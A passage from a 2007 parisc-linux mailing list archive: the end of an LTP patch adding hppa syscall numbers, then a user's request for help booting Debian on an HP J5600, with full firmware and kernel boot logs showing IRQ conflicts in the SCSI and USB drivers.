+               ret = write(fd, (char *)((ulong)__builtin_return_address(0) & pagemask),
count);
 #else
                ret = write(fd, (char *)((ulong)main & pagemask), count);
 #endif
Index: testcases/kernel/include/linux_syscall_numbers.h
===================================================================
RCS
file: /cvsroot/ltp/ltp/testcases/kernel/include/linux_syscall_numbers.h,v
retrieving revision 1.2
diff -u -p -r1.2 linux_syscall_numbers.h
--- testcases/kernel/include/linux_syscall_numbers.h    10 Sep 2006 10:12:01
-0000   1.2
+++ testcases/kernel/include/linux_syscall_numbers.h    6 Jan 2007 20:19:12
-0000
@@ -136,7 +136,7 @@
 #endif
 
 
-#ifdef __parisc__
+#if defined(__hppa__)
 # ifndef __NR_openat
 #  define __NR_openat 275
 # endif
@@ -179,6 +179,15 @@
 # ifndef __NR_faccessat
 #  define __NR_faccessat (__NR_openat + 12)
 # endif
+# ifndef __NR_splice
+#  define __NR_splice 291
+# endif
+# ifndef __NR_tee
+#  define __NR_tee 293
+# endif
+# ifndef __NR_vmsplice
+#  define __NR_vmsplice 294
+# endif
 #endif
 
 

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Greene <listsnews@cox.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Help with J5600 (Model: 9000/785/J5600)
Date: Thu, 25 Jan 2007 18:52:39 -0500
Lines: 527
Approved: news@gmane.org
Message-ID: <epbfs6$62t$1__35418.9114099883$1416624634$gmane$org@sea.gmane.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624634 28352 80.91.229.3 (22 Nov 2014 02:50:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:34 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Jan 2007 23:55:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx079) with SMTP; 26 Jan 2007 00:55:46 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B95D7D9B9;
	Thu, 25 Jan 2007 16:55:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03194-04; Thu, 25 Jan 2007 16:55:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51C8E7D965;
	Thu, 25 Jan 2007 16:55:38 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0742E7D982
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Jan 2007 16:55:34 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02628-06 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Jan 2007 16:55:32 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 6881F7D965
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 25 Jan 2007 16:55:32 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 3696D494007; Thu, 25 Jan 2007 16:55:32 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from ciao.gmane.org (main.gmane.org [80.91.229.2])
	(using TLSv1 with cipher AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by mail.parisc-linux.org (Postfix) with ESMTP id 2C729494003
	for <parisc-linux@parisc-linux.org>;
	Thu, 25 Jan 2007 16:55:09 -0700 (MST)
Original-Received: from root by ciao.gmane.org with local (Exim 4.43)
	id 1HAEQr-0007O0-1z
	for parisc-linux@parisc-linux.org; Fri, 26 Jan 2007 00:55:05 +0100
Original-Received: from ip70-161-87-144.hr.hr.cox.net ([70.161.87.144])
	by main.gmane.org with esmtp (Gmexim 0.1 (Debian))
	id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Fri, 26 Jan 2007 00:55:05 +0100
Original-Received: from listsnews by ip70-161-87-144.hr.hr.cox.net with local (Gmexim
	0.1 (Debian)) id 1AlnuQ-0007hv-00
	for <parisc-linux@parisc-linux.org>; Fri, 26 Jan 2007 00:55:05 +0100
X-Injected-Via-Gmane: http://gmane.org/
Original-Lines: 520
Original-X-Complaints-To: usenet@sea.gmane.org
X-Gmane-NNTP-Posting-Host: ip70-161-87-144.hr.hr.cox.net
User-Agent: Mozilla/5.0 (OS/2; U; Warp 4.5; en-US;
	rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4irMdkoRODBpUrWUfGRMLsU1Ji9SWpLH
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25420

I am trying to get any version of hppa linux running on an old J5600, 
but I am having no luck.  I have tried several debian and gentoo 
installs still nothing. Yesterday I attempted to use an etch cd to boot 
>from http://www.debian.org/devel/debian-installer/ (daily built images):

TST 10FD: CPU0 testing scratch RAM system state word
TST 11FD: CPU1 testing scratch RAM system state word
INI 10FC: CPU0 synchronizing
INI 11FC: CPU1 synchronizing
INI C100: CPU0 selected as monarch
INI CC11: CPU1 early rendezvous
TST 3000: verifying ROM checksum
INI 3000: ROM checksum ok
TST 3001: PDH control test
INI 3001: PDH control init
TST 3002: scratch RAM test
TST 30BC: test system clocks
INI 30BC: initialize system clocks
INI CC21: CPU1 rendezvous
INI C4CC: initialize close console
INI C4CD: close console not found
INI 3002: scratch RAM ok
INI CC21: CPU1 rendezvous
INI C30C: monarch slave check
INI 10CA: CPU0 initialize system bus arbitration
INI C300: early monarch0 selftest
INI D000: micro controller interface test
INI D005: setting domain1 fan speeds
INI D006: setting domain2 fan speeds
TST 1030: CPU0 start early selftests
WRN 1031: CPU0 early selftests skipped
INI 103C: CPU0 initialize
TST 103E: CPU0 exit early selftests
TST 1130: CPU1 start early selftests
INI C30C: monarch slave check
WRN 1131: CPU1 early selftests skipped
INI 113C: CPU1 initialize
TST 113E: CPU1 exit early selftests
INI CC21: CPU1 rendezvous
INI 10CA: CPU0 initialize system bus arbitration
INI CC31: CPU1 cache rendezvous
INI C30C: monarch slave check
INI 10CA: CPU0 initialize system bus arbitration
INI 7000: start memory DIMM scan
INI 7500: memory reset
INI 7002: initialize memory tables
WRN 7101: memory register test skipped
INI 7200: starting memory DIMM detection
INI 7201: memory DIMM detection   0% complete
INI 7210: is DIMM 00 installed?
INI 7260: 1GB DIMM in memory slot 00
INI 7201: memory DIMM detection  12% complete
INI 7211: is DIMM 01 installed?
INI 7201: memory DIMM detection  25% complete
INI 7212: is DIMM 02 installed?
INI 7201: memory DIMM detection  37% complete
INI 7213: is DIMM 03 installed?
INI 7201: memory DIMM detection  50% complete
INI 7214: is DIMM 04 installed?
INI 7201: memory DIMM detection  62% complete
INI 7215: is DIMM 05 installed?
INI 7201: memory DIMM detection  75% complete
INI 7216: is DIMM 06 installed?
INI 7201: memory DIMM detection  87% complete
INI 7217: is DIMM 07 installed?
INI 7201: memory DIMM detection 100% complete
TST 7010: start memory DIMM order check
TST 7016: start memory DIMM pair loading check
TST 7020: search for initial memory bank
TST 7030: verify DIMM 00 still works as initial memory module
INI 7307: generate memory interleave
TST 7600: destructive memory test
TST 7602: destructively test first page of memory
TST 7604:   starting 1st pass of memory test
TST 7606:   starting 2nd pass of memory test
TST 7608:   starting 3rd pass of memory test
TST 7603: destructively testing the rest of memory
TST 7604:   starting 1st pass of memory test
TST 7606:   starting 2nd pass of memory test
TST 7608:   starting 3rd pass of memory test
INI 70F0: memory DIMM scan complete
INI 8805: I/O subsystem init
INI 7300: memory configuration starting
INI 7500: memory reset
TST 7301: check for memory configuration change since last boot
INI 7303: memory unchanged--use saved configuration from NVM
INI 7304: interleave memory DIMMs
INI 7307: generate memory interleave
TST 7600: destructive memory test
WRN 7601: initialize memory only (don't test)
TST 760A: starting memory initialization
TST 760B:   memory initialization  25% complete
TST 760B:   memory initialization  50% complete
TST 760B:   memory initialization  75% complete
TST 760B:   memory initialization 100% complete
INI 730F: memory configuration complete
INI 8800: PCI BusWalk starting
INI 8801: Walking Rope 0
INI 8811: Walking Rope 1
INI 8821: Walking Rope 2
INI 8841: Walking Rope 4
INI 8861: Walking Rope 6
INI 8802: PCI BusWalk complete
INI 8803: PCI alloc complete
INI 8804: PCI config complete
WRN 4001: CPU0 late selftests skipped
INI 103C: CPU0 initialize
TST 400E: CPU0 exiting late selftests
WRN 4101: CPU1 late selftests skipped
INI 113C: CPU1 initialize
TST 410E: CPU1 exiting late selftests
INI CC41: CPU1 memory rendezvous
TST 301B: check model string
TST 301C: check/update software ID
TST C687: try to initialize graphics in slot 7
INI C687: initialized graphics in slot 7
INI 9151: initialize SERIAL_1


INI 9C51: console is SERIAL_1

Firmware Version 5.0


Duplex Console IO Dependent Code (IODC) revision 1

------------------------------------------------------------------------------

    (c) Copyright 1995-2000, Hewlett-Packard Company, All rights reserved

------------------------------------------------------------------------------


   Processor   Speed            State           Coprocessor State  I/D Cache

   ---------  --------   ---------------------  ----------------- 
-------------

       0      552 MHz    Active                 Functional         512 
kB/1 MB
       1      552 MHz    Idle                   Functional         512 
kB/1 MB

   Central Bus Speed:                   120 MHz

   Available memory:             1073741824 bytes
   Good memory required:           87908352 bytes

   Primary boot path:    FWSCSI.6.0
   Alternate boot path:  SCSI.3.0
   Console path:         SERIAL_1.9600.8.none
   Keyboard path:        USB


CPU 0
NOTICE :  Processor self-tests have been disabled because FASTBOOT is
           enabled.  To enable self-tests, disable FASTBOOT with the 
FASTBOOT
           command in the CONFIGURATION menu and reboot the system.
NOTICE :  Memory has been initialized but not tested because FASTBOOT is
           enabled.  To test memory, disable FASTBOOT with the FASTBOOT
           command in the CONFIGURATION menu and reboot the system.


CPU 1
NOTICE :  Processor self-tests have been disabled because FASTBOOT is
           enabled.  To enable self-tests, disable FASTBOOT with the 
FASTBOOT
           command in the CONFIGURATION menu and reboot the system.


----- Main Menu 
-------------------------------------------------------------

       Command                           Description
       -------                           -----------
       BOot [PRI|ALT|<path>]             Boot from specified path
       PAth [PRI|ALT|CON|KEY [<path>]]   Display or modify a path
       SEArch [DIsplay|[[IPL] [<path>]]] Search for boot devices

       COnfiguration [<command>]         Access Configuration menu/commands
       INformation [<command>]           Access Information menu/commands
       SERvice [<command>]               Access Service menu/commands

       DIsplay                           Redisplay the current menu
       HElp [<menu>|<command>]           Display help for menu or command
       RESET                             Restart the system
-----
Main Menu: Enter command > sea


Searching for potential boot device(s)...

This may take several minutes.


To discontinue search, press any key (termination may not be immediate).



    Path Number        Device Path              Device Type

    -----------        -----------------        -----------

    P0                 SCSI.3.0                 TOSHIBA CD-ROM XM-5401TA
    P1                 SCSI.2.0                 HP      C1537A
    P2                 FWSCSI.6.0               FUJITSU MAJ3182MC


Main Menu: Enter command > bo p0

Interact with IPL (Y, N, Q)?> y

INI C740: initialize other path


Booting...

Boot IO Dependent Code (IODC) revision 0
INI C780: load IPL other path
INI CC41: CPU1 memory rendezvous
INI C30C: monarch slave check
INI 10CA: CPU0 initialize system bus arbitration




HARD Booted.

INI C7FF: launch IPL other
palo ipl 1.14 root@duet Sat Apr  8 16:08:16 EDT 2006


Boot image contains:

     0/vmlinux32 4179284 bytes @ 0xc60000

     0/vmlinux64 5784983 bytes @ 0x6db800

     0/ramdisk 4501015 bytes @ 0x287800


Information: No console specified on kernel command line. This is normal.

PALO will choose the console currently used by firmware (serial).Current 
command line:

'0/vmlinux root=/dev/ram initrd=0/ramdisk ramdisk_size=12432' 
console=ttyS0 TERM=vt102

  0: '0/vmlinux

  1: root=/dev/ram

  2: initrd=0/ramdisk

  3: ramdisk_size=12432'

  4: console=ttyS0

  5: TERM=vt102


<#>    edit the numbered field

'b'    boot with this command line

'r'    restore command line

'l'    list dir

? 0

'0/vmlinux32

Current command line:

'0/vmlinux32 root=/dev/ram initrd=0/ramdisk ramdisk_size=12432' 
console=ttyS0 TERM=vt102

  0: '0/vmlinux32

  1: root=/dev/ram

  2: initrd=0/ramdisk

  3: ramdisk_size=12432'

  4: console=ttyS0

  5: TERM=vt102


<#>    edit the numbered field

'b'    boot with this command line

'r'    restore command line

'l'    list dir

? 0 b


Command line for kernel: 'root=/dev/ram ramdisk_size=12432' 
console=ttyS0 TERM=vt102 palo_kernel=0'0/vmlinux32'

Selected kernel: '0/vmlinux32 from partition 0

Selected ramdisk: /ramdisk from partition 0

ELF32 executable

Entry 00100000 first 00100000 n 3

Segment 0 load 00100000 size 2384552 mediaptr 0x1000

Segment 1 load 00347000 size 499712 mediaptr 0x248000

Segment 2 load 003fc000 size 381062 mediaptr 0x2c2000

Loading ramdisk 4501015 bytes @ 3fba4000...

Branching to kernel entry point 0x00100000.  If this is the last

message you see, you may need to switch your console.  This is

a common symptom -- search the FAQ and mailing list at parisc-linux.org


Linux version 2.6.18-3-parisc (Debian 2.6.18-7) (waldi@debian.org) (gcc 
version 4.1.2 20061115 (prerelease) (Debian 4.1.1-20)) #1 Mon Dec 4 
09:17:59 MST 2006
FP[0] enabled: Rev 1 Model 16
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 00005d10 00000491 00000000 00000002 781d75ff 100000f0 00000008 
000000b2 000000b2
vers  00000300
CPUID vers 17 rev 10 (0x0000022a)
capabilities 0x3
model 9000/785/J5600
Total Memory: 1024 MB
initrd: 4fba4000-4ffeee17
initrd: reserving 3fba4000-3ffeee17 (mem_max 40000000)
LCD display at f05d0008,f05d0000 registered
Built 1 zonelists.  Total pages: 262144
Kernel command line: root=/dev/ram ramdisk_size=12432' console=ttyS0 
TERM=vt102 palo_kernel=0'0/vmlinux32
PID hash table entries: 4096 (order: 12, 16384 bytes)
start_kernel(): bug: interrupts were enabled early
Console: colour dummy device 160x64
Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
Memory: 1048576k available
Security Framework v1.0.0 initialized
SELinux:  Disabled at boot.
Capability LSM initialized
Mount-cache hash table entries: 512
checking if image is initramfs... it is
Freeing initrd memory: 4395k freed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. Astro BC Runway Port at 0xfed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfed34000 [10/2] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
6. Elroy PCI Bridge at 0xfed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
7. Forte W+ 2w at 0xfffa0000 [32] { 0, 0x0, 0x5d1, 0x00004 }
8. Forte W+ 2w at 0xfffa2000 [34] { 0, 0x0, 0x5d1, 0x00004 }
9. Memory at 0xfed10200 [49] { 1, 0x0, 0x09e, 0x00009 }
Enabling regular chassis codes support v0.05
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 34 failed with error 1
CPU(s): 1 x PA8600 (PCX-W+) at 552.000000 MHz
Setting cache flush threshold to 1ec0 (1 CPUs online)
SBA found Astro 2.1 at 0xfed00000
Elroy version TR4.0 (0x5) found at 0xfed30000
PCI: Enabled native mode for NS87415 (pif=0x8f)
iosapic: 0xfed30800 : no IRT entry for slot 12, pin 1
iosapic: no IRTE for 0000:00:0c.0 (IRQ not connected?)
iosapic: 0xfed30800 : no IRT entry for slot 13, pin 1
iosapic: no IRTE for 0000:00:0d.0 (IRQ not connected?)
iosapic: 0xfed30800 : no IRT entry for slot 14, pin 4
iosapic: no IRTE for 0000:00:0e.2 (IRQ not connected?)
iosapic: 0xfed30800 : no IRT entry for slot 15, pin 1
iosapic: no IRTE for 0000:00:0f.0 (IRQ not connected?)
iosapic: 0xfed30800 : no IRT entry for slot 15, pin 1
iosapic: no IRTE for 0000:00:0f.1 (IRQ not connected?)
Elroy version TR4.0 (0x5) found at 0xfed32000
Elroy version TR4.0 (0x5) found at 0xfed34000
Elroy version TR4.0 (0x5) found at 0xfed38000
Elroy version TR4.0 (0x5) found at 0xfed3c000
NET: Registered protocol family 2
IP route cache hash table entries: 32768 (order: 5, 131072 bytes)
TCP established hash table entries: 131072 (order: 7, 524288 bytes)
TCP bind hash table entries: 65536 (order: 6, 262144 bytes)
TCP: Hash tables configured (established 131072 bind 65536)
TCP reno registered
Enabling PDC chassis warnings support v0.05
unwind_init: start = 0x10348cc0, end = 0x1036d620, entries = 9366
audit: initializing netlink socket (disabled)
audit(1169660597.080:1): initialized
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Initializing Cryptographic API
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
SuperIO: Found NS87560 Legacy I/O device at 0000:00:0e.1 (IRQ 1)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
PDC Stable Storage facility v0.30
Soft power switch enabled, polling @ 0xf0400804.
STI GSC/PCI core graphics driver Version 0.9a
STI PCI graphic ROM found at f7000000 (128 kB), fb at fb000000 (16 MB)
     id 35acda16-9a02587, conforms to spec rev. 8.0c
     graphics card name: HPA4982A
sticon: Initializing STI text console.
Console: switching to colour STI console 160x64
stifb: 'HPA4982A' (id: 0x35acda16) not supported.
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
serial8250: ttyS0 at I/O 0x3f8 (irq = 3) is a 16550A
serial8250: ttyS1 at I/O 0x2f8 (irq = 4) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 12432K size 1024 blocksize
mice: PS/2 mouse device common for all mice
TCP bic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
Freeing unused kernel memory: 328k freed
SCSI subsystem initialized
sym0: <875> rev 0x4 at pci 0000:00:01.0 irq 65
Linux Tulip driver version 1.1.13-NAPI (May 11, 2002)
sym0: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym0: SCSI BUS has been reset.
scsi0 : sym-2.2.3
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
usbcore: registered new driver usbfs
usbcore: registered new driver hub
sym1: <896> rev 0x4 at pci 0000:00:0f.0 irq 1
sym1: PA-RISC Firmware, ID 7, Fast-40, SE, parity checking
IRQ handler type mismatch for IRQ 1
Backtrace:
  [<1014a834>] setup_irq+0x204/0x228
  [<1014a904>] request_irq+0xac/0xe8
  [<000a7fa8>] sym2_probe+0x624/0x830 [sym53c8xx]
  [<1022d2e8>] pci_device_probe+0x54/0x94
  [<1026d8cc>] driver_probe_device+0x58/0xdc
  [<1026da98>] __driver_attach+0x84/0xf0
  [<1026d1e8>] bus_for_each_dev+0x58/0x9c
  [<1026cd74>] bus_add_driver+0x78/0x148
  [<1022d4e0>] __pci_register_driver+0x44/0x78
  [<00031124>] sym2_init+0xfc/0x124 [sym53c8xx]

sym1: request irq 1 failure
sym1: giving up ...
Trying to free already-free IRQ 1
sym1: <896> rev 0x4 at pci 0000:00:0f.1 irq 1
sym1: PA-RISC Firmware, ID 7, Fast-40, LVD, parity checking
IRQ handler type mismatch for IRQ 1
Backtrace:
  [<1014a834>] setup_irq+0x204/0x228
  [<1014a904>] request_irq+0xac/0xe8
  [<000a7fa8>] sym2_probe+0x624/0x830 [sym53c8xx]
  [<1022d2e8>] pci_device_probe+0x54/0x94
  [<1026d8cc>] driver_probe_device+0x58/0xdc
  [<1026da98>] __driver_attach+0x84/0xf0
  [<1026d1e8>] bus_for_each_dev+0x58/0x9c
  [<1026cd74>] bus_add_driver+0x78/0x148
  [<1022d4e0>] __pci_register_driver+0x44/0x78
  [<00031124>] sym2_init+0xfc/0x124 [sym53c8xx]

sym1: request irq 1 failure
sym1: giving up ...
Trying to free already-free IRQ 1
sym1: <875> rev 0x4 at pci 0000:02:02.0 irq 66
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1200 status 7809 advertising 01e1.
eth0: Digital DS21142/43 Tulip rev 65 at Port 0x1000, 00:10:83:FF:1E:7E, 
IRQ 2.
NS87415: IDE controller at PCI slot 0000:00:0e.0
NS87415: chipset revision 3
NS87415: 100% native mode on irq 7
     ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:DMA, hdb:DMA
     ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:DMA, hdd:DMA
sym1: PA-RISC Firmware, ID 7, Fast-20, SE, parity checking
sym1: SCSI BUS has been reset.
scsi3 : sym-2.2.3
ohci_hcd 0000:00:0e.2: OHCI Host Controller
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
IRQ handler type mismatch for IRQ 1
Backtrace:
  [<1014a834>] setup_irq+0x204/0x228
  [<1014a904>] request_irq+0xac/0xe8
  [<001086e4>] usb_add_hcd+0x324/0x654 [usbcore]
  [<00111404>] usb_hcd_pci_probe+0x21c/0x2c0 [usbcore]
  [<1022d2e8>] pci_device_probe+0x54/0x94
  [<1026d8cc>] driver_probe_device+0x58/0xdc
  [<1026da98>] __driver_attach+0x84/0xf0
  [<1026d1e8>] bus_for_each_dev+0x58/0x9c
  [<1026cd74>] bus_add_driver+0x78/0x148
  [<1022d4e0>] __pci_register_driver+0x44/0x78
  [<10143d1c>] sys_init_module+0x123c/0x13ec
  [<1010c134>] syscall_exit+0x0/0x14

ohci_hcd 0000:00:0e.2: request interrupt 1 failed
ohci_hcd 0000:00:0e.2: USB bus 1 deregistered
ohci_hcd 0000:00:0e.2: init 0000:00:0e.2 fail, -16
ohci_hcd: probe of 0000:00:0e.2 failed with error -16

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:37:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Greene <listsnews@cox.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Help with J5600 (Model: 9000/785/J5600)
Date: Fri, 26 Jan 2007 15:01:38 -0500
Lines: 68
Approved: news@gmane.org
Message-ID: <45BA5E22.8000406__19860.8059123673$1416624634$gmane$org@cox.net>
References: <epbfs6$62t$1@sea.gmane.org>
	<20070126000539.GB13938@athena.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624634 28366 80.91.229.3 (22 Nov 2014 02:50:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:50:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Kyle McMartin <kyle@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:28:27 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Jan 2007 20:02:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx097) with SMTP; 26 Jan 2007 21:02:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66DE57D903;
	Fri, 26 Jan 2007 13:02:21 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11985-09; Fri, 26 Jan 2007 13:02:21 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 100097D904;
	Fri, 26 Jan 2007 13:02:19 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B3877D8F4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Jan 2007 13:02:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11958-08 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Jan 2007 13:02:14 -0700 (MST)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D96C97D89B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 26 Jan 2007 13:02:14 -0700 (MST)
Original-Received: by mail.parisc-linux.org (Postfix)
	id 92E7349400A; Fri, 26 Jan 2007 13:02:14 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from eastrmmtao02.cox.net (eastrmmtao02.cox.net [68.230.240.37])
	by mail.parisc-linux.org (Postfix) with ESMTP id 1C5AE494007;
	Fri, 26 Jan 2007 13:01:42 -0700 (MST)
Original-Received: from eastrmimpo02.cox.net ([68.1.16.120]) by eastrmmtao02.cox.net
	(InterMail vM.6.01.06.03 201-2131-130-104-20060516) with ESMTP
	id <20070126200141.HIIM9317.eastrmmtao02.cox.net@eastrmimpo02.cox.net>; 
	Fri, 26 Jan 2007 15:01:41 -0500
Original-Received: from [192.168.1.2] ([70.161.87.144])
	by eastrmimpo02.cox.net with bizsmtp
	id Fw1g1W00m36rPti0000000; Fri, 26 Jan 2007 15:01:41 -0500
User-Agent: Mozilla/5.0 (OS/2; U; Warp 4.5; en-US;
	rv:1.8.1.2pre) Gecko/20070111 SeaMonkey/1.1
Original-Newsgroups: gmane.linux.ports.hppa
In-Reply-To: <20070126000539.GB13938@athena.road.mcmartin.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: a2mPcb8sTiEsVayUaGRwzTt1ZUVSRNev
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
